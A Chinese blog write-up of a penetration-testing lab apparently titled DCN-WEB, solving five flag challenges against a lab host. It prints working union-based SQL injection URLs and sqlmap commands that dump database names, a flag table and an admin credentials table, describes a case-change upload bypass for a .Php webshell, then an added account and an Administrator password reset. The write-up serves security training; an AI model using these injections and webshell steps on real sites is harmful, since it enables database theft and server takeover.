DCN-WEB 渗透测试

DCN-WEB 渗透测试

image-20211217085535691

官方推荐使用他们提供的攻击机来做题,但是那玩意太卡了.....

1

image-20211217085937161

随便点一个就是注入点

正常情况下

image-20211217090017562

存在注入情况下

image-20211217090041255

经过and 1=1测试后发现这是一个数字型的注入点,剩下就是手注或者直接跑sqlmap了

先手注入

image-20211217090314581

回显位2,3

image-20211217090351385

数据库名web

image-20211217090432438

http://172.16.1.102/about.php?id=-1 union select 1,user(),(select group_concat(schema_name) from information_schema.schemata),4 --+

image-20211217090807417

http://172.16.1.102/about.php?id=-1 union select 1,user(),(select group_concat(table_name) from information_schema.tables where table_schema='flag1'),4 --+

image-20211217090859750

http://172.16.1.102/about.php?id=-1 union select 1,user(),(select group_concat(column_name) from information_schema.columns where table_name='key1') ,4 --+

image-20211217093258640

http://172.16.1.102/about.php?id=-1 union select 1,user(),(select group_concat(flag) from flag1.key1),4 --+

image-20211217093344967

sql注入跨库参考指南:https://blog.csdn.net/lemeifei/article/details/121347468

法二:

python sqlmap.py -u http://172.16.1.102/about.php?id=1 -D flag1 -T key1 --dump

image-20211217092528478

2

查看页面源代码给出后台路径

image-20211217093839468

借助上一题的注入,直接获得账号密码

>python sqlmap.py -u http://172.16.1.102/about.php?id=1 -D web -T admin --dump

image-20211217094057656

完成登陆

image-20211217094152650

3

此路径上存在上传点

http://172.16.1.102/manage/index.php

image-20211217095152748

直接就大小写绕过了,但是不允许上传jpg就离谱,接下来就可以上菜刀,直接拿flag。

http://172.16.1.102/upload/month_2112/202112170146193774.Php

image-20211217095958949

image-20211217100155454

4

添加用户

image-20211217101735613

image-20211217101752745

远程登陆查看,这样子看不flag,可能用户不用启动文件也不同

改重置administrator的密码,登陆administrator用户查看一下

image-20211217102837001

image-20211217103141335

C:\Documents and Settings\Administrator\「开始」菜单\程序\启动

进去直接文件形式打开就可以获得flag (虽然它提示是损坏了,其实就是改了个后缀名)

5

打开注册表regedit,找到这个文件,发现打不开??

image-20211217110809967

因为当前用户是管理员就直接修改一下权限

image-20211217110915928

然后关掉,重新打开一次

image-20211217111111671

就这个用户

完了

posted @ 2021-12-17 11:22  甘雨小可爱!  阅读(304)  评论(0)    收藏  举报